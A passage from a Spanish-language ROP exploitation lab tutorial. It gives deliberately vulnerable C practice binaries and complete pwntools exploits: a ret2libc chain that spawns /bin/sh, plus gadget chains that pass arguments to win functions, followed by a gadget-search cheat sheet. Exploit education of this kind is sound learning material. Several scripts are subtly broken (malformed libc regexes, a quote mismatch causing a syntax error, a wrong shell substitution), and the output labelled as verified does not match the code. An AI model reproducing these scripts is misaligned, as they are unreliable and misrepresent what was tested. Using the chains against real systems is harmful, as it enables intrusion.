el binario con ROP() de pwntools. Nada hardcodeado.
US0: python3 b2_ret2libc.py"""
from pwn import *
import os
import re
import subprocess
import time

context.arch = 'amd64'
context.log_level = 'info'

BIN = './b2_ret2libc'

compile_cmd = ['gcc', '-g', '-O0', '-fno-stack-protector', '-no-pie',
               '-o', BIN, 'b2_ret2libc.c']
log.info('Compilando: %s', ' '.join(compile_cmd))
process(compile_cmd).wait()

elf = ELF(BIN, checksec=False)

# -----
# FASE 0 - base de libc via ldd con ASLR fuera (setarch -R)
# setarch -R ldd ./b2_ret2libc -> libc.so.6 => ... (0x00007ffff7xxxxxx)
# -----
ARCH = os.uname().machine # x86_64 en tu Kali
ldd_out = subprocess.run(
    ['setarch', ARCH, '-R', 'ldd', BIN],
    capture_output=True, text=True).stdout
m = re.search(r'libc\.so\.\d => (\S+) \(0x([0-9a-f]+)\)', ldd_out)
if not m:
    log.failure('ldd no mostro libc; verifica setarch -R y ASLR.')
    raise SystemExit(1)
libc_path = m.group(1)
libc_base = int(m.group(2), 16)
log.info('libc: %s | base fija %#x (ASLR fuera)', libc_path, libc_base)
```

```
# TODAS las piezas salen de libc EN TIEMPO DE EJECUCION:
libc = ELF(libc_path, checksec=False)
libc.address = libc_base # reubica TODOS los simbolos de golpe
pop_rdi = ROP(libc).find_gadget(['pop rdi', 'ret'])[0]
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info('pop rdi; ret = %#x (libc)', pop_rdi)
log.info('system = %#x (libc)', system)
log.info('"/bin/sh" = %#x (libc)', binsh)

# gadget 'ret' suelto del PROPIO binario: alineacion de pila (ver B1)
ret_gadget = ROP(elf).find_gadget(['ret'])[0]

# -----
# FASE 1 - offset dinamico: patron ciclico + corefile (metodo A2)
# -----
io = process(['setarch', ARCH, '-R', BIN]) # misma via que ldd
io.recvuntil(b'pero libc si')
io.sendline(cyclic(200))
io.wait()
try:
    core = io.corefile
    offset = cyclic_find(core.read(core.rsp, 4)) # x86_64: leer desde $rsp
except Exception:
    from pwnlib.corefile import Corefile
    core = Corefile('core')
    offset = cyclic_find(core.read(core.rsp, 4))
io.close()
log.info('Offset medido en caliente: %d bytes', offset)

# -----
# FASE 2 - exploit: padding + [pop_rdi, binsh, ret, system]
# pop rdi -> rdi = &"/bin/sh" (convencion System V: 1er arg en RDI)
# ret -> re-alinea la pila para system (movaps)
# system -> ejecuta /bin/sh heredando stdin/stdout del proceso
# -----
io = process(['setarch', ARCH, '-R', BIN]) # ASLR fuera, como el ldd
io.recvuntil(b'pero libc si')
payload = (b'A' * offset
+ p64(pop_rdi)
+ p64(binsh)
+ p64(ret_gadget)
+ p64(system))
assert b'\n' not in payload, 'gets() cortaria el payload en el primer 0x0a'
io.sendline(payload) # gets() copia la linea completa
time.sleep(0.5) # dejar que system() arme el shell
io.sendline(b'echo PWNERD_B2_${id -u}; id; exit') # prueba de vida
salida = io.recvall(timeout=4)
io.close()

if b'PWNERD_B2' in salida:
    log.success('B2 SUPERADO: ret2libc ejecuto system("/bin/sh").')
    log.info('NX sigue activo: no inyectaste codigo, reutilizaste libc.')
else:
    log.failure('B2: sin shell. Pistas: setarch -R en ldd Y en el proceso, '
    'gadget de alineacion y setvbuf(stdin) en el .c.')
```

(i) Salida esperada

SALIDA ESPERADA — B2 (VERIFICADA EN x86_64)

```
[*] libc: /lib/x86_64-linux-gnu/libc.so.6 | base fija 0x7ffff7dbc000
[*] pop rdi; ret = 0x7ffff7de6145 (libc)
[*] system = 0x7ffff7e0f090 (libc)
[*] "/bin/sh" = 0x7ffff7f61ea4 (libc)
[*] Offset medido en caliente: 72 bytes
[+] B2 SUPERAD0: ret2libc ejecuto system("/bin/sh").
[*] NX sigue activo: no inyectaste código, reutilizaste libc.
```

Las direcciones impresas son de esta verificación: en tu VM la base de libc será otra —aunque con ASLR fuera se mantiene constante entre ejecuciones— y lo que importa es la forma: base parada en página de 4 KiB, gadgets y símbolos como base+offset. El `/bin/sh` que responde PWNED_B2 es un shell real: su stdin y stdout son los de tu proceso explotado, y eso lo convierte en la prueba de vida definitiva.

(j) Qué acabas de aprender

- ret2libc clásico sin leak: base fija via ldd + aritmética base+offset para gadget, string y función.
- A abastecerse de libc cuando el binario moderno se queda corto de gadgets (pitfall documentado).
- Que NX se vence con reutilización de código legítimo, no con banderas de compilación.
- Un pitfall de plomería con premio: `setvbuf` decide si tu shell lee comandos o muere de EOF.

B3 — ret2win con argumento: win(int) exige 0x1337 en RDI

(a) Objetivo

Repetir el salto a `win()` de B1, pero ahora la función exige un argumento: `win(int clave)` solo entrega la flag si el primer parámetro vale `0x1337`. Como la convención System V AMD64 pasa el primer argumento en RDI, necesitas el trampolín `pop rdi; ret` cargando el valor justo antes del salto. El exploit demostrará primero qué pasa si saltas SIN preparar RDI —`win()` se ejecuta con basura y se queja— y después la versión correcta: `win(0x1337)`.

(b) Conceptos nuevos

- Convención System V AMD64 en acción: los argumentos viajan en RDI, RSI, RDX, RCX, R8 y R9; hoy toca RDI.
- `pop rdi; ret` como "pasamanos": el pop toma el valor de la pila a RDI y el ret encadena; sin él, el registro conserva basura del llamador.
- Valores literales en la cadena: una casilla puede contener un DATO (0x1337) y no una dirección; quien la consume decide qué es (pop lo lee, ret lo ejecuta).
- Depuración por contrato roto: el mensaje de `win()` con RDI basura es tu diagnóstico de convención incumplida.

(c) Código C completo

B3_RET2WIN_ARG.C

```
/* B3 - ret2win con argumento: win(int) exige 0x1337 en RDI.
 * Serie: Laboratorio de Practicas ROP - Parte 2 (x86_64, Kali Linux)
 * Compilacion: gcc -g -O0 -fno-stack-protector -no-pie -o b3_ret2win_arg b3_ret2win_arg.c
 * USO RESPONSABLE: binario de practica para tu VM Kali aislada. Solo
 * ataques a binarios propios en tu laboratorio; atacar terceros es ilegal.
 *
 * Salto a win() NO basta: la convencion System V AMD64 exige el primer
```

```

* argumento en RDI. El exploit carga 0x1337 en RDI con el gadget
* 'pop rdi; ret' (tomado de libc: el binario moderno no lo tiene). */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char *gets(char *s); /* prototipo manual (gcc moderno no la declara) */

void win(int clave)
{
    if (clave == 0x1337) {
        printf("[win] clave correcta (0x1337): FLAG{ROP_B3_pop_rdi_0x1337}\n");
    } else {
        /* Aqui aterrizas si saltas a win() sin preparar RDI:
        * veras el valor basura que tuviera el registro en ese momento. */
        printf("[win] clave INCORRECTA: win(0x%x); esperaba 0x1337\n",
            (unsigned int)clave);
    }
}

void victima(void)
{
    char buffer[64]; /* 64 bytes legales; lo que pase de ahi es overflow */

    printf("[B3] victima() en ejecucion; buffer en %p\n", (void *)buffer);
    fflush(stdout); /* orden determinista con entrada por pipe */
    /* VULNERABLE: ademas de controlar RIP, hoy controlas QUE RECIBE
    * la funcion destino, porque los gadgets consumen la pila como
    * si fueran instrucciones tuyas. */
    if (gets(buffer) == NULL) {
        fprintf(stderr, "[B3] EOF recibido.\n");
        exit(1);
    }
    printf("[B3] escribiste: %s\n", buffer);
    return; /* <- ret inicia la cadena: pop rdi; ret; win */
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0); /* sin buffering: util para pipes */
    printf("[B3] PID=%d | win() exige 0x1337 en RDI (System V)\n", getpid());
    victima();
    printf("[B3] retorno LIMPIO: si lees esto, no hubo exploit.\n");
    return 0;
}

```

(d) Compilación exacta

```
$ gcc -g -O0 -fno-stack-protector -no-pie -o b3_ret2win_arg b3_ret2win_arg.c
```

(e) Recon con pwn checksec

```

$ pwn checksec ./b3_ret2win_arg
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

```

El mismo perfil amable de la serie: sin canary, código fijo, NX irrelevante para un plan de reutilización. La novedad está en los SÍMBOLOS, no en las protecciones: este binario define win(int) y tu exploit la citará como

`elf.symbols['win']`. Como B3 no necesita `libc` para el payload —solo para el trampolín—, seguirá siendo necesario `setarch -R y ldd`: el gadget no vive en el binario.

(f) Plan de ataque razonado

La cadena crece una casilla de datos: `[pop_rdi, 0x1337, ret, win]`. El trampolín cobra `0x1337` hacia `RDI`, el `ret` de alineación heredado de B1 pone la pila en condiciones y `win()` ya solo comprueba su argumento. El contraste pedagógico lo da la FASE 2 del exploit: un salto directo a `win()` ejecuta la función con el `RDI` que dejara el flujo anterior —verás su mensaje de clave incorrecta con un valor aleatorio—, prueba viviente de que "llegar a la función" y "llegar bien vestida" son cosas distintas. El valor `0x1337` viaja en little-endian via `p64(0x1337)`, y el exploit lo mantiene como constante simbólica: es un DATO, no una dirección a descubrir.

(g) Pasos numerados con comandos

1. Compila y verifica el checksec (apartados d y e).
2. Localiza `win()` y su símbolo: `objdump -d ./b3_ret2win_arg | grep -A2 "<win>:"`; el exploit usará `elf.symbols['win']`, nunca la dirección literal.
3. Trae el trampolín de `libc` con la base fija: repite el paso 4 de B2 (`setarch $(uname -m) -R ldd ./b3_ret2win_arg`) y confirma el gadget.
4. Mide el offset con el patrón cíclico (saldrá 72 con este buffer).
5. Prueba de contrato roto: `python3 b3_ret2win_arg.py # FASE 2` y mira el `RDI` basura que `win()` se queja de recibir.
6. Ejecuta la solución completa y confirma la flag con `0x1337` en la salida.

(h) Exploit pwntools completo, comentado

B3_RET2WIN_ARG.PY

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""B3 - ret2win con argumento: win(int) exige 0x1337 en RDI.
FASE 1: offset ciclico. FASE 2: salto ingenuo a win() SIN argumento
(muestra el valor basura de RDI). FASE 3: gadget 'pop rdi; ret' de libc
carga 0x1337 y win() canta la flag. TODO dinamico.
US0: python3 b3_ret2win_arg.py"""
from pwn import *
import os
import re
import subprocess

context.arch = 'amd64'
context.log_level = 'info'

BIN = './b3_ret2win_arg'
FLAG_B3 = b'FLAG{ROP_B3_pop_rdi_0x1337}'

compile_cmd = ['gcc', '-g', '-O0', '-fno-stack-protector', '-no-pie',
               '-o', BIN, 'b3_ret2win_arg.c']
log.info('Compilando: %s', ' '.join(compile_cmd))
process(compile_cmd).wait()

elf = ELF(BIN, checksec=False)
win = elf.symbols['win']
log.info('win() @ %#x (ejemplo; la tuya sera distinta)', win)
```

```

# base de libc via ldd con ASLR fuera (mismo metodo que B2)
ARCH = os.uname().machine
ldd_out = subprocess.run(
    ['setarch', ARCH, '-R', 'ldd', BIN],
    capture_output=True, text=True).stdout
m = re.search(r'libc\.so\.\d => (\S+) \(\0x([0-9a-f]+)\)', ldd_out)
libc_path, libc_base = m.group(1), int(m.group(2), 16)
libc = ELF(libc_path, checksec=False)
libc.address = libc_base
pop_rdi = ROP(libc).find_gadget(['pop rdi', 'ret'])[0]
log.info('libc base %#x | pop rdi; ret @ %#x (libc)', libc_base, pop_rdi)

# gadget 'ret' suelto del binario: alineacion (leccion B1)
ret_gadget = ROP(elf).find_gadget(['ret'])[0]

# -----
# FASE 1 - offset dinamico: patron ciclico + corefile (metodo A2)
# -----
io = process(['setarch', ARCH, '-R', BIN]) # misma via que ldd
io.recvuntil(b'exige 0x1337 en RDI')
io.sendline(cyclic(200))
io.wait()
try:
    core = io.corefile
    offset = cyclic_find(core.read(core.rsp, 4)) # x86_64: leer desde $rsp
except Exception:
    from pwnlib.corefile import Corefile
    core = Corefile('core')
    offset = cyclic_find(core.read(core.rsp, 4))
io.close()
log.info('Offset medido en caliente: %d bytes', offset)

# -----
# FASE 2 - control: saltar a win() SIN preparar RDI
# -----
io = process(['setarch', ARCH, '-R', BIN]) # ASLR fuera, como el ldd
io.recvuntil(b'exige 0x1337 en RDI')
io.sendline(b'A' * offset + p64(ret_gadget) + p64(win))
salida = io.recvall(timeout=3)
io.close()
if b'INCORRECTA' in salida:
    log.info('FASE 2: win() se ejecuto con RDI basura (System V exige '
        'el 1er argumento en RDI).')
else:
    log.info('FASE 2: sin crash pero revisa la salida de win().')

# -----
# FASE 3 - exploit real: padding + [pop_rdi, 0x1337, ret, win]
# pop rdi -> rdi = 0x1337 ; ret -> re-alinea ; win(0x1337) -> flag
# -----
io = process(['setarch', ARCH, '-R', BIN]) # ASLR fuera, como el ldd
io.recvuntil(b'exige 0x1337 en RDI')
payload = b'A' * offset + p64(pop_rdi) + p64(0x1337) + p64(ret_gadget) + p64(win)
assert b'\n' not in payload, 'gets() cortaria el payload en el primer 0x0a'
io.sendline(payload)
salida = io.recvall(timeout=3)
io.close()

if FLAG_B3 in salida:
    log.success('B3 SUPERADO: pop rdi; ret cargo 0x1337 en RDI y '
        'win(0x1337) entrego la flag.')
else:
    log.failure('B3: sin flag. Pistas: gadget pop rdi de libc, valor '
        '0x1337 y el ret de alineacion de B1.')

```

(i) Salida esperada

SALIDA ESPERADA — B3 (VERIFICADA EN x86_64)

```
[*] win() @ 0x401196 (ejemplo; la tuya sera distinta)
[*] libc base 0x7ffff7dbc000 | pop rdi; ret @ 0x7ffff7de6145 (libc)
[*] Offset medido en caliente: 72 bytes
[*] FASE 2: win() se ejecuto con RDI basura (System V exige
el 1er argumento en RDI).
[+] B3 SUPERADO: pop rdi; ret cargo 0x1337 en RDI y
win(0x1337) entrego la flag.
```

Fíjate en el orden de las fases: primero el control (`win()` se ejecuta, con cualquier RDI), después la precisión (RDI vale exactamente `0x1337`). Esta secuencia control-primero, datos-después es el patrón mental que usarás en cada exploit con argumentos, y la que programarás en un sintetizador automático de cadenas: primero alcanza el flujo, luego viste los registros.

(j) Qué acabas de aprender

- A pasar el primer argumento por RDI con `pop rdi; ret`, respetando System V AMD64.
- Que una casilla de la cadena es un dato o una dirección según QUIEN la consuma.
- A leer el mensaje de error de la función objetivo como diagnóstico de convención.
- El patrón control-primero, datos-después para construir cadenas verificables.

B4 — Cadena multi-gadget: dos funciones con una sola entrada

(a) Objetivo

Encadenar DOS llamadas en un solo exploit: `print_flag(int a, int b)` con DOS argumentos correctos (`0x1337` y `0x7331` en RDI y RSI) y, sin enviar nada más, `bonus()`. La cadena combina dos trampolines —`pop rdi; ret` y `pop rsi; ret`—, dos gadgets de alineación y las dos funciones del binario: ocho casillas que la pila consume en orden estricto. La Figura 4 desglosa cada casilla y quién la consume; es el mapa exacto del payload de este ejercicio.

(b) Conceptos nuevos

- Encadenado real: el `ret` de `print_flag` NO termina el programa; coge la siguiente casilla como retorno.
- `pop rsi; ret`: el segundo trampolín; ahora controlas los dos primeros argumentos de cualquier llamada System V.
- Múltiples gadgets de alineación en una cadena: cada función que entra merece su `ret` de cortesía (B1 otra vez).
- Fin de cadena: cuando las casillas se agotan, el último `ret` consume basura y puede morir en SIGSEGV; tu salida ya está en pantalla y eso, hoy, es éxito.

(c) Código C completo

B4_CADENA.C

```
/* B4 - Cadena multi-gadget: dos llamadas consumiendo la pila.
 * Serie: Laboratorio de Practicas ROP - Parte 2 (x86_64, Kali Linux)
 * Compilacion: gcc -g -O0 -fno-stack-protector -no-pie -o b4_cadena b4_cadena.c
```

```

* USO RESPONSABLE: binario de practica para tu VM Kali aislada. Solo
* ataques a binarios propios en tu laboratorio; atacar terceros es ilegal.
*
* print_flag(int a, int b) exige DOS argumentos (RDI=0x1337, RSI=0x7331)
* y bonus() debe ejecutarse DESPUES, sin nueva entrada: la cadena ROP
* apila [pop_rdi][0x1337][pop_rsi][0x7331][ret][print_flag][ret][bonus]
* y el ret de CADA funcion consume la siguiente casilla de la pila. */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char *gets(char *s); /* prototipo manual (gcc moderno no la declara) */

void print_flag(int a, int b)
{
    if (a == 0x1337 && b == 0x7331) {
        printf("[print_flag] FLAG{ROP_B4_cadena_multi_gadget}\n");
    } else {
        printf("[print_flag] argumentos incorrectos: (0x%x, 0x%x); "
            "esperaba (0x1337, 0x7331)\n", (unsigned int)a,
            (unsigned int)b);
    }
}

void bonus(void)
{
    printf("[bonus] cadena completada: print_flag devolvio el control y "
        "el ret consumo la SIGUIENTE casilla.\n");
}

void victima(void)
{
    char buffer[64]; /* 64 bytes legales; lo que pase de ahi es overflow */

    printf("[B4] victima() en ejecucion; buffer en %p\n", (void *)buffer);
    fflush(stdout); /* orden determinista con entrada por pipe */
    /* VULNERABLE: una sola gets() alimenta TODA la cadena. El ret de
    * victima solo arranca; cada ret posterior come la casilla siguiente. */
    if (gets(buffer) == NULL) {
        fprintf(stderr, "[B4] EOF recibido.\n");
        exit(1);
    }
    printf("[B4] escribiste: %s\n", buffer);
    return; /* <- arranca la cadena de gadgets */
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0); /* sin buffering: util para pipes */
    printf("[B4] PID=%d | print_flag(0x1337,0x7331) y despues bonus()\n",
        getpid());
    victima();
    printf("[B4] retorno LIMPIO: si lees esto, no hubo exploit.\n");
    return 0;
}

```

(d) Compilación exacta

```
$ gcc -g -O0 -fno-stack-protector -no-pie -o b4_cadena b4_cadena.c
```

(e) Recon con pwn checksec

```
$ pwn checksec ./b4_cadena
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Cuarta vez el mismo perfil, cuarta vez la misma lección: las protecciones no dicen QUÉ técnica usar, solo qué caminos están cerrados. Este binario aporta los símbolos `print_flag` y `bonus`; los trampolines vienen de `libc` con la base fija de siempre. El examen real de B4 es de ARQUITECTURA: orden de casillas, valores y alineación, todo en un payload que sale en una única `gets()`.

(f) Plan razonado y la cadena casilla por casilla

Escribe la cadena en papel antes que en Python: `[pop_rdi, 0x1337, pop_rsi, 0x7331, ret, print_flag, ret, bonus]`. Los dos primeros pares son trampolín y valor; el `ret` tras `pop_rsi` re-alinea para `print_flag`; el `ret` tras `print_flag` re-alinea para `bonus`. Cuando `print_flag` termine, su epílogo ejecutará `ret` con `$rsp` apuntando a la casilla del segundo `ret`: la función misma te pasa el turno a `bonus`. Esa es la diferencia entre "llamar dos veces" y "encadenar": aquí no hay segunda entrada, la pila es la única cola de instrucciones.

La cadena de B4 casilla por casilla
 payload = 'A'*72 + [pop_rdi][0x1337][pop_rsi][0x7331][ret][print_flag][ret][bonus] — una sola gets(), dos funciones

La pila desde la direccion de retorno de victima() — el ret de cada fila consume la de abajo		
ret victima	pop_rdi	Lo consume el ret de victima(): salta al gadget; \$rsp avanza a la casilla 2.
casilla 2	0x1337	La consume "pop rdi": RDI = 0x1337 (1er argumento); su ret salta a la casilla 3.
casilla 3	pop_rsi	La consume el ret del gadget anterior: salta al gadget de RSI.
casilla 4	0x7331	La consume "pop rsi": RSI = 0x7331 (2do argumento); su ret mira la casilla 5.
casilla 5	ret (alineacion)	La consume el ret de "pop rsi": no hace nada util, SOLO re-alinea la pila para print_flag (leccion B1).
casilla 6	print_flag	La consume el ret del gadget de alineacion: ejecuta print_flag(0x1337, 0x7331) -> FLAG. Su propio ret mirara la casilla 7.
casilla 7	ret (alineacion)	La consume el ret de print_flag al terminar: otro "boleto de cortesia" para que bonus() entre alineada.
casilla 8	bonus	La consume el ret de alineacion: ejecuta bonus() y confirma que la cadena SIGUIO tras print_flag. Ahi se agota: lo que siga es basura.

pop_rdi / pop_rsi = gadgets de libc (con ASLR fuera, base fija via ldd) **0x1337 / 0x7331** = valores que "cobran" los pop
ret = gadget de alineacion del propio binario **print_flag / bonus** = funciones del binario (No PIE)

Lee la tabla como una partida de ajedrez por turnos: nadie "ejecuta" la cadena de golpe; cada ret —el de victima, el de un gadget o el epílogo de una funcion— pasa el turno a la casilla siguiente. Si alteras el orden, el turno cae en el valor equivocado: un 0x1337 interpretado como direccion produce SIGSEGV al instante. Por eso B4 es el examen final de la Parte 2: orden exacto, argumentos exactos y alineacion pensada.

Figura 4. Las ocho casillas de B4: quién consume cada una y qué queda en RDI/RSI en cada turno.

(g) Pasos numerados con comandos

1. Compila y verifica el checksec (apartados d y e).
2. Confirma los símbolos: `objdump -d ./b4_cadena | grep -E "<print_flag>|<bonus>"`.

3. Consigue los DOS trampolines de libc: `python3 -c "from pwn import *; e=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False); r=ROP(e); print(hex(r.find_gadget(['pop rdi','ret'])[0]), hex(r.find_gadget(['pop rsi','ret'])[0]))"` y verifica que imprime pop rdi y pop rsi.
4. Mide el offset con el patrón cíclico: 72 con este layout de buffer.
5. Dibuja las 8 casillas con sus consumidores (Figura 4) y hazte las dos preguntas de examen: ¿quién cobra 0x7331? ¿quién re-alinea para bonus?
6. Ejecuta: `python3 b4_cadena.py`. Deben aparecer DOS mensajes: la flag y el bonus.

(h) Exploit pwntools completo, comentado

B4_CADENA.PY

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""B4 - Cadena multi-gadget: pop rdi + pop rsi -> print_flag(0x1337,0x7331)
y luego bonus(), consumiendo la pila casilla a casilla.
FASE 1: offset cíclico. FASE 2: cadena completa de 8 casillas.
Los gadgets se buscan en libc (pop rdi/rsi) y en el binario (ret).
US0: python3 b4_cadena.py"""
from pwn import *
import os
import re
import subprocess

context.arch = 'amd64'
context.log_level = 'info'

BIN = './b4_cadena'
FLAG_B4 = b'FLAG{ROP_B4_cadena_multi_gadget}'
BONUS = b'[bonus] cadena completada'

compile_cmd = ['gcc', '-g', '-O0', '-fno-stack-protector', '-no-pie',
               '-o', BIN, 'b4_cadena.c']
log.info('Compilando: %s', ' '.join(compile_cmd))
process(compile_cmd).wait()

elf = ELF(BIN, checksec=False)
print_flag = elf.symbols['print_flag']
bonus = elf.symbols['bonus']
log.info('print_flag @ %#x | bonus @ %#x (ejemplo; las tuyas seran '
        'distintas)', print_flag, bonus)

# base de libc via ldd con ASLR fuera (mismo metodo que B2 y B3)
ARCH = os.uname().machine
ldd_out = subprocess.run(
    ['setarch', ARCH, '-R', 'ldd', BIN],
    capture_output=True, text=True).stdout
m = re.search(r'libc\.\so\.\6 => (\S+) \((0x([0-9a-f]+))\)', ldd_out)
libc_path, libc_base = m.group(1), int(m.group(2), 16)
libc = ELF(libc_path, checksec=False)
libc.address = libc_base
pop_rdi = ROP(libc).find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = ROP(libc).find_gadget(['pop rsi', 'ret'])[0]
log.info('libc base %#x | pop rdi; ret @ %#x | pop rsi; ret @ %#x',
        libc_base, pop_rdi, pop_rsi)

# gadget 'ret' suelto del binario: alineacion antes de CADA funcion
ret_gadget = ROP(elf).find_gadget(['ret'])[0]
```

```
# -----
# FASE 1 - offset dinamico: patron ciclico + corefile (metodo A2)
# -----
io = process(['setarch', ARCH, '-R', BIN]) # misma via que ldd
io.recvuntil(b'y despues bonus()')
io.sendline(cyclic(200))
io.wait()
try:
    core = io.corefile
    offset = cyclic_find(core.read(core.rsp, 4)) # x86_64: leer desde $rsp
except Exception:
    from pwnlib.corefile import Corefile
    core = Corefile('core')
    offset = cyclic_find(core.read(core.rsp, 4))
io.close()
log.info('Offset medido en caliente: %d bytes', offset)

# -----
# FASE 2 - cadena de 8 casillas (como la Figura de la Parte 2):
# [pop_rdi][0x1337][pop_rsi][0x7331][ret][print_flag][ret][bonus]
# Cada 'ret' de gadget o de funcion consume la casilla siguiente;
# los gadgets 'ret' sueltos mantienen la pila alineada a 16 bytes.
# -----
io = process(['setarch', ARCH, '-R', BIN]) # ASLR fuera, como el ldd
io.recvuntil(b'y despues bonus()')
payload = (b'A' * offset
+ p64(pop_rdi) # casilla 1: gadget que carga RDI
+ p64(0x1337) # casilla 2: valor para RDI (consumido por pop)
+ p64(pop_rsi) # casilla 3: gadget que carga RSI
+ p64(0x7331) # casilla 4: valor para RSI (consumido por pop)
+ p64(ret_gadget) # casilla 5: alineacion para print_flag
+ p64(print_flag) # casilla 6: su ret consumira la 7
+ p64(ret_gadget) # casilla 7: alineacion para bonus
+ p64(bonus)) # casilla 8: remate de la cadena
assert b'\n' not in payload, 'gets() cortaria el payload en el primer 0x0a'
io.sendline(payload)
salida = io.recvall(timeout=3)
io.close()

if FLAG_B4 in salida and BONUS in salida:
    log.success('B4 SUPERADO: dos funciones seguidas con una sola '
    'entrada; la pila fue la "cola de instrucciones'.')
elif FLAG_B4 in salida:
    log.failure('B4: flag OK pero bonus() no llego: revisa las casillas 7-8.')
```

(i) Salida esperada

SALIDA ESPERADA — B4 (VERIFICADA EN x86_64)

```
[*] print_flag @ 0x401196 | bonus @ 0x4011e7 (ejemplo; las tuyas
seran distintas)
[*] libc base 0x7ffff7dbc000 | pop rdi; ret @ 0x7ffff7de6145 |
pop rsi; ret @ 0x7ffff7de7aa9
[*] Offset medido en caliente: 72 bytes
[+] B4 SUPERADO: dos funciones seguidas con una sola entrada;
la pila fue la "cola de instrucciones".
```

El criterio de éxito es doble y no negociable: `FLAG{ROP_B4_cadena_multi_gadget}` Y `[bonus]` cadena completada en la misma ejecución. Si solo ves la flag, tu cadena llamó a `print_flag` pero murió en el turno de

bonus —revisa la casilla 7—; si solo ves el bonus, el orden se te cruzó. Después del último `ret`, la cadena se agota: lo que consume la basura siguiente ya no es asunto tuyo, y un SIGSEGV tardío tras ambas mensajes es el final honorable de una cadena sin "epílogo".

(j) Qué acabas de aprender

- A construir cadenas de N eslabones: gadgets trampolín, datos, alineación y funciones en el orden exacto.
- `pop rsi; ret` y el mapa completo de los dos primeros argumentos System V.
- Que las funciones encadenadas se pasan el turno mediante sus propios epílogos: `ret` es el pegamento.
- A planificar en papel con consumidores por casilla antes de escribir p64: la diferencia entre cadena y suerte.

Apéndice. Chuleta ROP y puente a la Parte 3

Esta página es la que querrás abierta en una segunda pestaña cuando trabajes los retos de la Parte 3. Reúne los comandos exactos de búsqueda de gadgets, la API de pwntools que usaste en B1–B4 y las tres reglas de oro de alineación. Nada aquí es nuevo: es destilado de lo que acabas de practicar, organizado para consulta rápida y con las advertencias que más tiempo te ahorrarán.

A.1 Búsqueda manual de gadgets con ROPgadget

```
# Solo trampolines pop y ret (el filtro mas usado)
$ ROPgadget --binary ./binario --only "pop|ret"

# Gadgets de escritura a memoria y syscall
$ ROPgadget --binary ./binario --only "mov|ret" | grep "rdi"
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "syscall"

# Guardar el inventario completo para grep offline
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > gadgets_libc.txt
```

ADVERTENCIA DE FORMATO: " ; " CON ESPACIOS

ROPgadget separa las instrucciones de un gadget con espacio, punto y coma y espacio: `pop rdi ; ret`. Si filtras con `grep "pop rdi;ret"` NO encontrará nada, porque en el inventario no existe la forma pegada. Lo mismo aplica a tus scripts: `rop.find_gadget` espera instrucciones separadas, nunca un string compacto. Este detalle cuesta minutos a todo el mundo exactamente una vez; después ya no.

A.2 La misma búsqueda con Ropper

```
# Ropper: formato alternativo y filtros por tipo
$ ropper --file ./binario --search "pop rdi"
$ ropper --file /lib/x86_64-linux-gnu/libc.so.6 --search "% rdi"

# Los dos buscan lo mismo; elige por salida preferida.
# Ropper imprime direccion + bytes + instruccion; ROPgadget, direccion + instruccion.
```

En Kali puedes instalar Ropper con `sudo apt install -y ropper` junto a ROPgadget; ambos conviven sin problema y es sano cruzar verificaciones: si tu plan depende de un gadget crítico, confírmalo en dos buscadores antes de culpar al exploit. Recuerda que un gadget solo sirve si sus BYTES no contienen bad bytes para tu vía de entrada —con `gets()`, el salto de línea `0x0a`— y si su dirección no depende de PIE cuando no tienes leak.

A.3 La API ROP(elf) de pwntools: el atajo que usaste

```
from pwn import *
context.arch = "amd64"

elf = ELF("./binario") # simbolos: elf.symbols["win"]
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = base_leida_con_ldd # reubica TODO de golpe

rop = ROP(elf)
ret = rop.find_gadget(["ret"])[0] # alineacion
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
pop_rsi = rop.find_gadget(["pop rsi", "ret"])[0]

system = libc.symbols["system"] # con libc.address dado
binsh = next(libc.search(b"/bin/sh\x00")) # string en libc
```

```
# Constructor de cadenas (alternativa a p64 a mano):
rop2 = ROP(elf)
rop2.call(pop_rdi, [binsh])
rop2.call(system, [binsh])
payload = b"A" * offset + rop2.chain()
```

A.4 Las tres reglas de alineación (la lección B1)

1. La ABI exige que una función entre con `rsp mod 16 == 8`; tras su `push rbp` queda 0 y `movaps` respira.
2. Un salto por `ret` descuadra la cuenta: inserta un gadget `ret` antes de la función si crash en `movaps`.
3. Cada función de tu cadena merece su `ret` de cortesía; cuenta casillas de 8 bytes desde el `ret` de víctima().

A.5 Diagnóstico rápido de fallos

Síntoma	Causa probable	Primer chequeo
SIGSEGV antes de llegar a la función	offset equivocado o gadget mal apuntado	Re-mide con <code>cyclic()</code> y verifica la dirección del gadget con <code>checksec</code> (¿PIE?)
La función se ejecuta y muere a media impresión	alineación: <code>movaps</code> dentro de <code>printf/puts</code>	Añade gadget <code>ret</code> delante de la dirección de función
Shell arranca y muere de EOF sin leer comandos	<code>stdio</code> se comió la entrada (buffering)	Revisa <code>setvbuf(stdin, _IONBF)</code> en el binario víctima y no envíes datos junto al payload
Direcciones de <code>libc</code> absurdas o crash inmediato	base de <code>ldd</code> no coincide con el proceso	Lanza víctima Y <code>ldd</code> con la misma vía: <code>setarch -R</code>
<code>pop rdi</code> ; <code>ret</code> no aparece en el binario	gcc moderno: gadgets mínimos	Tómalo de <code>libc</code> con <code>ROP(libc)</code> y ASLR fuera

Tabla 2. Los cinco fallos de la Parte 2 y su primer chequeo.

A.6 Ética, una última vez en esta parte

TU BÚSQUEDA, TUS REGLAS

